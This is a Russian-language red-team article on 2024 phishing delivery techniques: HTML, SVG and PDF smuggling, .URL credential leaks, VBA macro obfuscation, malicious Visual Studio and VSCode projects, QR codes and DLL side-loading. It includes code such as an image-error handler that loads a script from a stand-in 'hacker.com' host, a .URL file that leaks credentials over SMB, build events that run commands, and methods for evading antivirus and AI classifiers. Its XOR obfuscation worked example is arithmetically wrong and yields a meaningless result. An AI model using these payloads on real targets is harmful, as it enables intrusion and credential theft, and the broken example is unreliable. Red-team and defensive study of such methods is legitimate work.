Кто стучится к вам в почту? Социальная инженерия 2024

В предыдущей статье я рассказал о реализации таргетированных фишинговых атак в рамках Red Team и показал наиболее эффективные чейны. Тем не менее мои суждения о неэффективности тех или иных векторов с разными полезными нагрузками могут быть ошибкой наблюдателя. Ведь наш проектный опыт складывается из белых законтрактованных кейсов: зачастую это клиенты с достаточно высоким уровнем ИБ, которые прекрасно понимают, что прямая доставка бинарей в письмах с аттачментами — это плохо.

В этой статье хочется обсудить полезные нагрузки, которые не попали в прошлый материал. Сегодня они, как говорится, в ходу, и с учетом средней температуры по ИБ-больнице их можно достаточно эффективно использовать в качестве векторов получения начального доступа.

Так кто же может стучаться в вашу почту?

HTML/PDF/SVG Smuggling

HTML Smuggling

HTML Smuggling обсуждался уже много раз, но на PHDays 12 мне задали вопрос из зала: зачем я рассказываю о технике 2017–2018 гг., которая уже не так актуальна и о которой, к примеру, подробно написали Outflank. HTML Smuggling ни в коем случае не является новой техникой — об этом речи не велось. Но это все еще мощный способ доставки нагрузки на хост, который вряд ли скоро потеряет актуальность, — в силу своей гибкости и универсальности как в части кодовой реализации (мы можем реализовать атаку разными JavaScript-методами), так и в плане обфускации кода.

Гибкость и универсальность HTML Smuggling можно рассматривать в нескольких плоскостях:

1. Доставка. Можно применять разные методы инициирования распаковки и загрузки нашей полезной нагрузки и предпринять меры, гарантирующие, что это произойдет не при динамическом анализе в песочнице или динамическом АВ-анализе на хосте.

2. Обфускация. Преобразование полезной нагрузки (например, ZIP-архива) для обхода сигнатурных и эвристических детектов.

Примеры обфускации:

Не буду говорить про Base64, Reverse Base64 и шестнадцатеричные способы преобразований, лучше обсудим другие варианты обфускации представленных байтов нагрузки.

1. XOR. Это логическая операция, выполняемая между двумя последовательностями битов. Результат операции XOR для каждой пары битов равен 1, если только один из битов равен 1.

Логические шаги XOR:

0 XOR 0 = 0 
0 XOR 1 = 1 
1 XOR 0 = 1 
1 XOR 1 = 0 

В контексте обфускации байтов Base64 в HTML Smuggling XOR может быть применен для преобразования или «замешивания» байтов, чтобы они стали менее читаемыми и более трудными для обнаружения.

Предположим, у нас есть строка Base64:

SGVsbG8gd29ybGQh

Разбиваем ее на байты:

48 65 6C 6C 6F 20 77 6F 72 6C 64 21

Выбираем ключ XOR (может быть любым числом, но для дешифровки нужно знать тот же ключ):

Key: 10101010

Применяем XOR между байтами и ключом:

48 XOR 10101010 = 154 
65 XOR 10101010 = 235 
6C XOR 10101010 = 198 
6C XOR 10101010 = 198 
6F XOR 10101010 = 197 
20 XOR 10101010 = 138 
77 XOR 10101010 = 221 
6F XOR 10101010 = 197 
72 XOR 10101010 = 216 
6C XOR 10101010 = 198 
64 XOR 10101010 = 206 
21 XOR 10101010 = 139 

Преобразуем результат обратно в строку Base64:

MTggWE9SIDEwMTAxMA==

В результате строка Base64 SGVsbG8gd29ybGQh была обфусцирована с использованием XOR и ключа 10101010 в строку MTggWE9SIDEwMTAxMA==.

2. AES. Аналогичным образом мы можем использовать блочное шифрование и дешифрование нагрузки: реализовать эти методы с помощью JavaScript и объединить с методами инициализации распаковки и загрузки полезной нагрузки.

Комбинации различных методов инициирования распаковки и загрузки полезной нагрузки

1. Встроенная загрузка (inline download) + прослушиватель событий (event listener)

Это тот самый дедовский способ инициализации загрузки с помощью кнопки, описанный в 2018 г. в блоге Outflank. Здесь используются теги <a> и атрибут download, указывающий на файл, который требуется загрузить (например, при нажатии на кнопку или выполнении другого действия). Чтобы усложнить жизнь песочницам, которые не умеют при динамическом анализе полностью эмулировать пользовательскую активность, можно использовать разные прослушиватели событий в JavaScript:

• mousemove, mouseenter и mouseleave: срабатывают, когда указатель мыши двигается, входит в определенный элемент на странице или покидает его;
• keydown, keyup: нажатие и отпускание клавиши на клавиатуре;
• click, dblclick: щелчок или двойной щелчок мыши на элементе;
• input, change: ввод текста в элемент формы или изменение значения формы.

Это всего лишь небольшой набор примеров: в JavaScript есть множество событий и их комбинаций, которые можно использовать в зависимости от ситуации и вашей фантазии.

2. Шифрование с помощью XOR/AES и предоставление пароля пользователю для дешифрования

Для запуска загрузки требуется взаимодействие пользователя с полем ввода пароля. Это позволит избежать автоматического статического и динамического анализа, поскольку пароль будет выслан отдельно. Конечный файл представляет собой форму, в которую необходимо ввести пароль, после чего выполнятся методы распаковки и загрузки.

3. Проверка User Agent и IP-адреса пользователя

Позволяет фильтровать UA песочницы и IP-адресацию, которая не принадлежит диапазону компании.

4. Image OnError Code Evaluation (IOCE)

В рамках этой техники для выполнения JavaScript-кода используется событие OnError (также можно использовать OnLoad) тега изображения (<img>). Она может быть как локальной (код находится в пределах той же страницы), так и удаленной (код загружается из внешнего источника).

Local Image OnError Code Evaluation

В локальном случае атакующий может использовать следующий код:

<script>
function executeCode() {
   alert('PT SWARM Image OnError Code Evaluation (IOCE)');
}
</script>
<img src="nonexistentimage.jpg" onerror="executeCode()">

Если изображение «nonexistentimage.jpg» не может быть загружено, сработает событие onerror и выполнится указанный в нем код.

Remote Image OnError Code Evaluation

При удаленной атаке код можно загрузить с внешнего сервера:

<img src="https://example.com/nonexistentimage.jpg" onerror="loadScript('https://hacker.com/malicious.js')">

<script>
function loadScript(url) {
   var script = document.createElement('script');
   script.src = url;
   document.body.appendChild(script);
}
</script>

Если изображение нельзя загрузить, сработает onerror и будет загружен внешний JavaScript-файл с вредоносным кодом.

Логика атаки заключается в использовании события onerror для проверки, может ли изображение быть загружено. Это позволяет избавиться от тегов <script> в HTML-файле, поскольку весь встроенный JavaScript- код распаковывается при загрузке страницы. При попытке загрузить несуществующее изображение сервер вернет ошибку и сработает событие onerror. Злоумышленники могут использовать это для внедрения зловредного кода.

Основные шаги атаки:

• Злоумышленник встраивает тег <img> в веб-страницу, указывая в атрибуте src URL изображения, которого не существует.
• Если изображение не может быть загружено (например, из-за ошибки 404 Not Found), в браузере срабатывает событие onerror.
• В атрибуте onerror указывается JavaScript-код, который будет выполнен в случае ошибки.

Вместо ссылок на изображения можно использовать ссылки на веб-сайты или внутренние узлы сети.

5. SVG Image Code Execution (SVG in Data URI)

Метод основывается на возможности встраивать в SVG-файлы JavaScript-код и выполнять его при загрузке изображения. Процесс реализации SVG Image Code Execution может выглядеть следующим образом.

1. Создается SVG-изображение, включающее вредоносный код внутри тега <script> или в других элементах, поддерживающих выполнение JavaScript.

<svg xmlns="http://www.w3.org/2000/svg"><script>alert(PT SWARM SVG in Data URI'); </script></svg> 

2. SVG-изображение встраивается в HTML-код, например в тег <object> или другой элемент, поддерживающий загрузку изображений.

<object data="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzdHJpbmc+CiAgICA8c2NyaXB0PgogICAgICAgIC8vIFZyZWRvbW9uczogbWFpbiBkYXRhLgogICAgICAgIC8vIGluY2x1ZGluZyBqYXZhc2NyaXB0LgogICAgICAgIC8vIGFuYWx5dGljcy1yZXNsaWdodCBoaWdobGlnaHQgaXMgdXhlbWJlcmVkLgogICAgICAgIC8vIGNhbGN1bGF0ZWQgb3ZlciBmb3JtYXRpYyBzdHJldmlldy4KICAgICAgYWxlcnQoJ01hbGljaXVzIGNvZGUgZXhlY3V0ZWQhJyk7CiAgICAvLyBUaGUgY29kZSBpcyBkZXZlbG9waW5nIGFuZCBjb25kaXRpb24gaXMgY29kZSBvbiBzdG9yZSBvZiBjbG9kLgo8L3NjcmlwdD4KPC9zdmc+Cg==" type="image/svg+xml"></object>

3. При загрузке HTML-страницы браузер автоматически пытается загрузить и отобразить SVG-изображение. В этот момент будет выполнен встроенный в него вредоносный код.

Этот метод позволяет злоумышленникам внедрять и выполнять вредоносный код на стороне клиента при просмотре HTML-страницы. Однако имеется один минус: нагрузка (например, ZIP-архив) будет иметь произвольное UUID-имя файла, а не то, которое было указано в исходной функции. Однако и эта проблема может быть решена: последние улучшения в инструменте AutoSmuggle позволяют преодолеть ограничения имен файлов и расширений. Это достигается за счет использования модифицированного JavaScript, который динамически добавляет элемент привязки (<a>) для начала загрузки.

В качестве функции для своих семплов можно использовать сниппет со Stackoverflow в виде готового кода:

JavaScript:

function save(){
 const file = new File(['this is where BLOB should go'], {type: 'application/pdf'}); // edit this line to have access to source blob
 const link = document.createElement('a');
 link.href = URL.createObjectURL(file);
 link.download = 'this is the name.pdf';
 document.body.appendChild(link);
 link.click();
 document.body.removeChild(link);
}
window.save = save;

HTML:

<a class="downloadlink" id="downloadlink" target="_blank" onclick='save()'>here is your link</a>

SVG Smuggling

SVG Smuggling — это разновидность HTML Smuggling, которая использует SVG-изображения для внедрения вредоносного кода в HTML-страницу. Термин включает разные техники, в том числе уже описанную SVG Image Code Execution. Кроме того, этот метод можно использовать с файлами .svg.

Виды SVG Smuggling помимо SVG Image Code Execution (SVG in Data URI)

1. SVG Smuggling с CDATA (Character Data).

Использует CDATA-секции внутри SVG-файла для внедрения вредоносного кода, который будет интерпретирован в контексте HTML. CDATA-секции позволяют вставлять содержимое, которое не будет интерпретироваться как XML-разметка, что можно использовать для обхода некоторых фильтров и безопасных механизмов.

Принцип работы следующий. В SVG-файл вставляется CDATA-секция, в которой содержится вредоносный JavaScript-код. Его можно поместить в теги script:

<svg xmlns="http://www.w3.org/2000/svg" width="0" height="0" style="display:none;">
 <defs>
   <script type="text/javascript">
     <![CDATA[
       alert("PT SWARM SVG Smuggling as CDATA");
     ]]>
   </script>
 </defs>
</svg>

2. SVG as CSS

Техника внедрения вредоносного SVG-кода в стилевые правила CSS.

<style>
 /* Объявление SVG в стилевых правилах CSS */
 .malicious-svg {
   background-image: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg"><script>alert("PT SWARM SVG Smuggling as CSS");</script></svg>');
   width: 0;
   height: 0;
   overflow: hidden;
   display: none;
 }
</style>
<body>
<!-- Использование вредоносного SVG-кода -->
<div class="malicious-svg"></div>
</body> 

В этом примере код SVG находится в строке CSS стилей и будет выполнен при применении стилей.

3. SVG Polyglot

Это файл, который может быть интерпретирован как валидный HTML и валидный SVG.

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
 "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
 <rect x="10" y="10" width="100" height="100" fill="red" />
</svg>

<script type="text/javascript">
 <![CDATA[
   alert("PT SWARM SVG Polyglot");
 ]]>
</script>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
 <title>SVG Polyglot</title>
</head>
<body>
 <h1>This is HTML</h1>
</body>
</html> 

Файл представляет собой SVG-изображение с добавленным JavaScript-кодом, однако благодаря соответствующим синтаксическим и структурным элементам он также является валидным HTML-документом. Соответственно, файл можно успешно интерпретировать и как SVG, и как HTML, что позволяет использовать его в разных контекстах и сценариях.

В сети полно примеров реализации SVG Smuggling. Например, на платформе delivr.to можно в динамике наблюдать отработку SVG Smuggling (когда с помощью JavaScript на странице настроено прослушивание события на пользовательский клик) — см. рис. 1.

За реальными примерами тоже ходить далеко не нужно. Так, широко известная группировка RedCurl модернизировала свою цепочку заражения и вместо приложенных к письму ссылок теперь использует SVG Smuggling (см. рис. 2.1 и 2.2)

PDF Smuggling и PDF Polyglot (aka MalDoc in PDF)

PDF Smuggling

Это метод манипуляции PDF-файлами для внедрения вредоносного кода или вложений. Основной упор делается на встраиваемый JavaScript-код, который может быть выполнен при открытии PDF. При этом злоумышленник может использовать разные механизмы встраивания (например, событие /OpenAction, /S /JavaScript, /JS this.exportDataObject({ cName: "filename.html", nLaunch: 2 }) ), чтобы автоматически запустить вредоносные операции.

PDF Smuggling эффективно используется при открытии PDF-файлов в соответствующих ридерах, например Adobe Acrobat, Foxit Reader, PDF Reader и др. Программа обнаруживает JavaScript-код и инициирует запрос на закачку и открытие дополнительного файла через браузер. При открытии файла в самом браузере механизм не сработает: в большинстве случаев они обладают дополнительными мерами защиты, ограничивающими выполнение подобных атак.

PDF Polyglot (MalDoc in PDF)

Техника заключается в создании документа, который может одновременно быть валидным PDF-файлом и документом другого формата, например DOCX. Идея заключается в том, чтобы использовать особенности PDF и другого выбранного формата для создания файла, который может быть корректно интерпретирован в обоих контекстах. К примеру, можно вставить байты другого формата в PDF-документ так, чтобы они не повредили его структуру, но при этом сделали его допустимым и в другом контексте. Хорошо созданный полиглотный файл можно будет открыть как в PDF-ридерах, так и в Microsoft Word, при этом в зависимости от программы содержимое файла будет отличаться.

Таким образом, в отличие от PDF Smuggling, где акцент делается на внедрении вредоносного кода, PDF Polyglot стремится создать документ, который может быть интерпретирован двумя разными способами.

.URL

Косвенно я затрагивал URL-векторы в прошлом материале, когда описывал кейс доставки URL-файла, который указывал на скрипт .bat, расположенный на удаленном сервере (см. рис. 5).

Помимо этого .URL-файлы могут использоваться для проведения атаки Credential Harvesting. В этом случае файл указывает на удаленный ресурс, который реализует принудительную аутентификацию при просмотре .URL. Это приведет к утечке аутентификационных данных при переходе к файлу в файловой системе, если ваш SMB-трафик любит погулять во внешний мир. Пару раз с помощью этого вектора нам даже удавалось забрать учетные данные администратора домена :)

[DEFAULT] 
BASEURL=https://<domain>/ 
[{000214A0-0000-0000-C000-000000000046}] 
Prop3=19,2 
[InternetShortcut] 
URL=https://<domain>/ 
IDList= 
IconFile=\\<server>\%ComputerName%\%UserDomain%\%UserName%\ 
IconIndex=0 
HotKey=0

На PHD12 я говорил, что ссылки будут наиболее актуальным способом доставки полезной нагрузки, и подтверждение моих слов не заставило себя ждать. В ноябре 2023 г. стало известно о чудовищно простом способе обхода SmartScreen и MOTW (CVE-2023-36025) — с помощью указания внутри .URL ссылки на файл в удаленном ZIP-архиве, расположенном на WebDAV-сервере. К примеру, техника активно эксплуатировалась злоумышленниками, распространяющими Phemedrone Stealer (см. рис. 6.1 и 6.2)

Microsoft в режиме пожарной бригады выпустила патч для закрытия уязвимости, но почему-то не спрогнозировала, что хакер — человек простой, и он попробует допилить чейн и добавить в него еще один шаг: второй .URL-файл, который будет ссылаться на первый, содержащий путь к полезной нагрузке на WebDAV-сервере. В итоге появилась уязвимость CVE-2024-21412, которую эксплуатировали злоумышленники из Water Hydra.

PDF Luring

Недавно я обнаружил в твиттере (ныне X)*, что термин «приманка», который мы используем в работе, среди DFIR-специалистов и в зарубежном ИБ-комьюнити носит красивое название PDF Luring.

* Социальная сеть заблокирована на территории Российской Федерации

Это техника, которая используется для манипуляции PDF-файлами для привлечения и обмана пользователей. Контент в PDF Luring может быть разным (зависит от целей атакующего), но идея в любом случае сводится к тому, чтобы повысить уровень доверия жертвы и убедить ее перейти по приложенной ссылке в архиве или, к примеру, воспользоваться паролем к зашифрованному файлу, который либо был доставлен жертве раньше, либо скачивается при переходе по ссылке.

Однако неправильно говорить о luring’е только в контексте PDF-файлов. В качестве красочной приманки можно использовать и документы Microsoft Office, например .docx или .pptx. Также важно отличать lure-файлы от decoy — обычных приманок, призванных повысить уровень доверия жертвы своей безобидностью или отвлечь ее после отработки чейна, предоставив какой-либо документ для логичного завершения сценария.

Отмечу, что этот вектор является своеобразным ответом на развитие функциональных возможностей динамического анализа песочниц. Как минимум они могут проводить динамический анализ вложенных в письмо ссылок и в случае вынесения неоднозначного вердикта либо вырезать их, либо использовать SafeLink (менять оригинальный URL на временный или безопасный вариант). В тривиальном варианте SafeLink может выглядеть как замена исходного URL-адреса в письме на адрес, ведущий на корпоративную HTML-заглушку. Там пользователя предупредят, что он переходит на внешний ресурс, и попросят дополнительное подтверждение в виде клика по исходной ссылке.

Еще одним способом доставки ссылки не в теле письма является использование HTML Redirects файлов. С их помощью можно перенаправлять жертву на целевые веб-ресурсы, качать вредоносные файлы или имитировать порталы с формами ввода учетных данных. Использование JavaScript в HTML-редиректорах позволяет обфусцировать исходную ссылку, чтобы усложнить песочнице и технологии SafeLink процесс идентификации, анализа и перезаписи URL-адреса.

VBA Macro (Hold)

Я не включил в прошлую статью часть про VBA-макросы, потому что в конце все равно добавил бы, что эти векторы вымирают. Но инвестдома часто пересматривают свои прогнозы по эмитентам и меняют рекомендации с «покупать» на «продавать» или «держать» :) Я тоже меняю рекомендацию по VBA-макросам на «держать в payload-арсенале». Не стоит забывать, что рассылка полезной нагрузки может начаться из скомпрометированной корпоративной почты сотрудника, а это уже совсем другая история :)

Поскольку внутренняя почта — это доверенная среда, никакой Mark-of-the-Web нам не страшен, и наши наполненные макросами документы Microsoft Word обретают второе дыхание. Ведь нам даже не придется заморачиваться и ломать голову, в каком же контейнере их доставить: можно совершено легитимно отправлять их в виде аттачмента к письму. Однако при правильном подходе к архитектуре защиты корпоративной почты внутренний трафик тоже заворачивается и анализируется злыми песочницами с динамическим анализом. Это потребует от нас более продвинутой VBA-разработки, позволяющей его обойти. Кроме того, при благоприятном стечении обстоятельств внутренний трафик может все-таки не заворачиваться в почтовые СЗИ по причине нехватки мощностей, из-за вайтлистинга, а также разрешения на использование VBA-макросов в определенных файлах MS Office и в документах с определенными названиями (привет бухгалтерии с их ФОТ, реестрами и другими прелестями мира Excel).

Рекомендую освежить в памяти следующие векторы:

• VBA Stomping
• VBA Purging
• Простые VBA-трюки
• VelvetSweatshop
• XLAM и XLL: раз / два / три
• dotm injection

VBA Purging

В чем суть: макросы VBA хранятся в потоках (stream) модулей CFBF-файлов (Compound File Binary Format). При этом каждый поток состоит из двух частей: PerformanceCache и CompressedSourceCode.

• PerformanceCache (также известный как P-code) представляет собой массив байтов, содержащий скомпилированный код VBA и несжатый текстовый код VBA.
• CompressedSourceCode содержит исходный код VBA, который сжат с помощью фирменного алгоритма Microsoft.

Когда макрос добавляется в документ, механизм VBA сохраняет скомпилированную версию кода в разделе PerformanceCache соответствующего потока модулей для повышения производительности. Однако приложение Office получит доступ к PerformanceCache только в том случае, если его версия и архитектура соответствуют тем, которые использовалось для компиляции исходного кода VBA. Информация о версии и реализации хранится в потоках _VBA_PROJECT и __SRP_#. Если версии не совпадают, сжатый исходный код распаковывается, компилируется и вместо него запускается код из CompressedSourceCode. По сути, мы имеем бесполезную PerformanceCache часть потока, которая позволяет некоторым АВ-решениям, анализирующим VBA-код на основе PerformanceCache, детектить и выносить вердикт.

В связи с тем, что для успешного запуска VBA-кода на хосте не требуется PerformanceCache-часть потока (достаточно сжатого исходного VBA-кода в CompressedSourceCode), и появилась техника VBA Purging. Она полностью удаляет данные из части потока модуля PerformanceCache и из потока _VBA_PROJECT, устанавливая его размер/значение равным 0. Плюс также удаляет все потоки SRP: это необходимо, поскольку потоки _VBA_PROJECT и SRP содержат зависящие от версии MS Office PerformanceCache-данные, которые приведут к ошибке во время выполнения, если в потоке модуля нет части PerformanceCache. После очистки код VBA будет присутствовать только в сжатой форме потока модуля CompressedSourceCode, вводя в заблуждение многие АВ-движки и YARA-правила и позволяя использовать даже самые простые и подозрительные функции, например CreateObject.

VBA Stomping

Эта техника запутывания VBA-кода появилась раньше, чем VBA Purging, но суть ее работы будет проще объяснить на контрасте между ними. VBA Purging удаляет данные из PerformanceCache-части потока и полагается на сжатый исходный код VBA в CompressedSourceCode. VBA Stomping же полагается на скомпилированную часть в PerformanceCache-части потока, помещая вместо вредоносного VBA-кода в исходную сжатую часть потока CompressedSourceCode невредоносный VBA код с легитимным неподозрительным функционалом.

Отмечу, что у этой техники есть существенный недостаток. Чтобы запустить заранее скомпилированный VBA-код из PerformanceCache-части потока, версия MS Office, где будет скомпилирован p-code, должна совпадать с версией MS Office жертвы. Иначе макрос выполнится неправильно. Соответственно, сначала придется выполнить разведку версии MS Office, которую жертвы используют на хостах. Зато, если в песочнице используется другая версия MS Office, можно будет обойти динамический анализ в силу невыполнимости макроса (но это не точно :) ).

VBA Tricks

MsgBox

Действующая с 2019 г. группа злоумышленников Aggah доставила своим жертвам множество разных полезных нагрузок, в основном — RevengeRAT. Группа особенно хорошо работает с документами MS Office и использует разные методы, чтобы сделать свои VBA-сценарии менее заметными. В том числе злоумышленники используют для обхода средств защиты на основе ИИ комментарии, содержащие строку MsgBox.

Функция MsgBox используется в VBA для запроса окон сообщений, которые появляются во многих сценариях Visual Basic и обычно не вызывают опасений. Наличие этой строки в комментариях к коду VBA увеличивает вероятность того, что модуль ИИ классифицирует ее как безопасную. Если код короткий и его значительную часть составляют длинные комментарии MsgBox, это заметно повысит шанс того, что он будет классифицирован как безопасный.

Команды среди длинных бессмысленных комментариев

Другое интересное решение — дропперы Emotet VBA, содержащие длинные комментарии из случайных слов. В примере на рис. 15 исполняемая команда и содержащая ее переменная не были запутаны, а просто плавали в море длинных случайных комментариев.

Использование чрезмерных комментариев может ввести в заблуждение как аналитиков, так и решения на базе ИИ. Первые могут пропустить вредоносное выполнение MSHTA при просмотре кода, а вторые — уделить больше внимания безопасным чрезмерным комментариям, чем вредоносным функциям.

Использование свойств документов

VelvetSweatshop: общий пароль для запароленных Excel-файлов

Для обхода статического и динамического анализа офисных документов злоумышленники часто прибегают к использованию паролей. Но отдельно сообщать жертве пароль для документа неудобно, да и в целом это вызывает подозрения. Однако есть выход: задать пароль для файла Excel с VBA-макросами с помощью пароля VelvetSweatshop. Это убьет сразу двух зайцев: статический/динамический анализ документа и автоматическую расшифровку файла у пользователя на хосте.

Как это возможно? Все просто: этой технике уже 17 лет. Программисты Microsoft по неизвестной причине (возможно, вообще ради шутки) внедрили общий пароль VelvetSweatshop для расшифровки XLS-файлов в режиме «Только для чтения». То есть при установке пароля VelvetSweatshop Excel-файлы шифруются, но потом открываются в Excel без ввода пароля. Это идеальный вариант для атакующих, поскольку Excel по умолчанию проверяет этот пароль на всех зашифрованных файлах. При этом MS Office не будет генерировать предупреждающих диалоговых окон, кроме указания на то, что файл доступен только для чтения, поскольку расшифрует файл с помощью дефолтного пароля VelvetSweatshop. Если же приложение не сможет расшифровать файл с помощью этого пароля, оно попросит пользователя ввести другой.

Если вы хотите спросить, почему этот баян находится в материале 2024 г., ответ прост: этот метод до сих пор эффективен и затрудняет анализ средствам защиты. Исследование CheckPoint от 8 февраля 2024 г. наглядно демонстрирует, что в актуальных семплах «из дикой природы» до сих пор можно увидеть эту технику (см. рис. 16.1 и 16.2).

Разработчикам приготовиться

Наверное, многие из вас слышали, что хакеры из Lazarus занимались фишингом с фокус-группой из исследователей по кибербезопасности (раз/два).

В последнее время активно развивается следующая схема, с которой столкнулись некоторые наши коллеги-разработчики. Злоумышленники знакомятся с пользователями в общих каналах (комментариях к новостям), а затем присылают вредоносные вложения или просят пройти по ссылке, по которой нужно скачать и запустить файл (например, резюме, описание проекта, новость или отчет). Зачастую мошенники также просят материальную помощь, используя разные манипуляции.

Что же злоумышленники могут доставлять разработчикам? К примеру, нагрузки под специализированные IDE (JetBrains, VSCode, Visual Studio) и т. д. Это могут быть как вредоносные плагины и расширения, так и готовые проекты с вредоносной нагрузкой. Например, как в векторе, описанном в блоге Google TAG и технически раскрытом командой Outflank. Также существует публичный репозиторий, демонстрирующий реализацию атаки через проекты Visual Studio.

Вот некоторые публично раскрытые методы использования Visual Studio:

1. PreBuildEvent: выполняет произвольные команды перед компиляцией проекта.

<PreBuildEvent>
   <Command>
   cmd /c calc
   </Command>
</PreBuildEvent>

2. GetFrameworkPaths Target: срабатывает при просмотре кода.

<Target Name="GetFrameworkPaths">
   <Exec Command="calc.exe"/>
</Target>

3. COMFileReference: срабатывает при загрузке TypeLib во время открытия проекта.

<COMFileReference Include="files\helpstringdll.tlb">
    <EmbedInteropTypes>True</EmbedInteropTypes>
</COMFileReference>

Ситуация усугубляется тем, что для работы технологии MOTW для .sln в Visual Studio нужно вручную включить и настроить параметры доверия, т.к. по умолчанию они выключены (см. рис. 18.1–18.3).

После публикации исследований обе команды получили ответ от Microsoft, что это не баг, а фича проблема безопасности, поскольку открытие проекта Visual Studio само по себе является небезопасной операцией.

В свою очередь команда MDSec провела потрясающее исследование, посвященное использованию расширений .vsix VSCode и URI-обработчика vscode:// для установки расширения в IDE разработчика. Расширение размещается в официальном маркетплейсе плагинов, затем код выполняется на атакуемой машине. Для создания .VSIX-расширений можно использовать генератор, который подготовит необходимый шаблон (см. рис. 19).

После реализации логики полезной нагрузки в extension.js и подготовки расширения к бою с разработчиками, его нужно загрузить на официальный маркетплейс и получить уникальный URI-обработчик. При открытии в браузере жертвы он будет вести на .VSIX-расширение с полезной нагрузкой и выполнять код после получения разрешения на установку (см. рис. 20.1–20.3).

При размещении подобных расширений и готовых проектов в доверенной для разработчика среде (т.е. при реализации Internal Phishing на этапе, когда получены доступы к среде разработки компании) шанс реализации атаки кратно возрастает.

QR-коды

Мы еще не практиковали этот вектор в своих проектах в силу его направленности на мобильные устройства сотрудников (это личные вещи, которые не попадают в разрешенный скоуп работ). Тем не менее техника кажется мне достаточно эффективной, и вот почему.

После блокировок банковских карт и приложений для бесконтактной оплаты в нашу жизнь ворвались QR-коды. Также QR-коды часто используются сотрудниками компаний для привязки своих устройств к MFA — чтобы получать и подтверждать пуши двухфакторной аутентификации. Даже в нашем журнале вы встретите множество QR-кодов, которые ведут на разные веб-ресурсы. При этом QR-коды можно доставлять как в теле электронного письма, так и в PDF-файлах: по сравнению с обычными вложенными ссылками это дает атакующему следующие преимущества:

1.    QR-коды позволяют обойти механизмы «безопасных ссылок». Загадочный URL-адрес скрыт в коде, что затрудняет его оценку пользователем.

2.    QR-коды могут содержать URL-адрес, направляющий пользователя на портал входа в систему, который может перехватывать учетные данные.

3.    При использовании QR-кода в виде изображения технология «безопасных ссылок» в почтовых шлюзах не может изменить ссылку для обеспечения дополнительной защиты (некоторые почтовые шлюзы не способны распознавать и читать QR-коды).

4.    Для сканирования QR-кода используются мобильные устройства. Т.е. неконтролируемые персональные девайсы, не подверженные ограничениям безопасности, которые есть на корпоративных устройствах.

QR-коды можно использовать для атаки на мобильное устройство жертвы с целью контроля MFA-приложения или реализации более продвинутых и сложных атак. Яркий пример — «Операция Триангуляция», раскрытая коллегами из« Лаборатории Касперского».

DLL Side-Loading

DLL Side-Loading — метод атаки на Windows-устройства, в рамках которого жертве внедряется вредоносная библиотека DLL вместе с доверенным приложением, которое ее исполняет. Некоторые приложения не проводят проверку библиотек, подгружаемых в их адресное пространство, когда в манифестах Windows Side-by-Side (WinSxS) не указаны явные характеристики загружаемых программой библиотек DLL. Это позволяет подменить штатную библиотеку на вредоносную с аналогичным названием и вызвать ее загрузку.

Процесс DLL Side-Loading выглядит следующим образом: атакующие доставляют на рабочую станцию жертвы как легитимное приложение с необходимыми легитимными DLL-библиотеками, так и вредоносную DLL. При запуске приложению требуется библиотека с соответствующим названием: оно обнаруживает вредоносную DLL, загружает ее и выполняет код в контексте легитимного приложения, что позволяет избегать некоторых механизмов обнаружения вредоносной активности.

Атака DLL Side-Loading близка по методике к подмене DLL (DLL Hijacking), где вредоносный код также находится в библиотеке, загружаемой легитимным приложением. Основное отличие в том, что при классическом DLL Hijacking не проксируются вызовы к легитимной DLL, что нарушает работу приложения, приводя к отображению ошибки у жертвы. При этом не реализуются дополнительные технические меры для штатного запуска приложения без ошибок с полной рабочей функциональностью.

Техника DLL Side-Loading позволяет обойти технологию Mark-of-the-Web и нацелена на затруднение выявления вредоносной активности. Для загрузки вредоносной библиотеки используются легитимные программы с доверенной цифровой подписью, включая ПО от разработчиков СЗИ, обладающее действительными цифровыми сертификатами. Чтобы усложнить обнаружение самой DLL, ее можно доставить в зашифрованном, сжатом или обфусцированном виде.

Техника позволяет доставлять контейнер, состоящий из легитимного приложения и вредоносной библиотеки, без использования User Execution этапа. Например, без использования LNK для запуска бинарного файла в обход предупреждений SmartScreen: легитимное приложение подписано действительным сертификатом и запустится после двойного клика по нему, выполняя заложенную логику из вредоносной библиотеки, но не нарушая работы приложения за счет перенаправления вызовов в легитимную библиотеку.